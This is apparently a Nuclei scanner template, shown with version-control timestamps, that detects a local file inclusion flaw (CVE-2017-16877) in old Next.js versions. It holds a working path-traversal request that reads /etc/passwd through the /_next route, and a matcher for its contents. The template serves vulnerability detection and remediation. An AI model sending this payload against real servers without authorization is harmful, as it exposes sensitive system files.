2021-02-26 15:05:49 +00:00
id : CVE-2017-16877
info :
2022-06-09 20:35:21 +00:00
name : Nextjs <2.4.1 - Local File Inclusion
2021-02-26 15:05:49 +00:00
author : pikpikcu
severity : high
2022-06-09 20:35:21 +00:00
description : ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
2022-05-17 09:18:12 +00:00
- https://github.com/zeit/next.js/releases/tag/2.4.1
2022-06-09 20:35:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-16877
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.0032
2023-11-01 14:45:21 +00:00
epss-percentile : 0.67274
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : zeit
product : next.js
tags : cve,cve2017,nextjs,lfi,traversal
2021-02-26 15:05:49 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-26 15:05:49 +00:00
- method : GET
path :
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-02-26 15:05:49 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-26 15:05:49 +00:00
condition : and
- type : status
status :
- 200
2023-11-02 07:14:22 +00:00
# digest: 4a0a0047304502203a1240c9b634e325c5d5d44192dd2e131ff4e8e88677c99673a7a6c1b9b4223b02210083b5be3e4fa16cf97b0ee0c22e910fc8bddf291bafe5a2910e48702ba84fe6dd:922c64590222798bb761d5b6d8e72950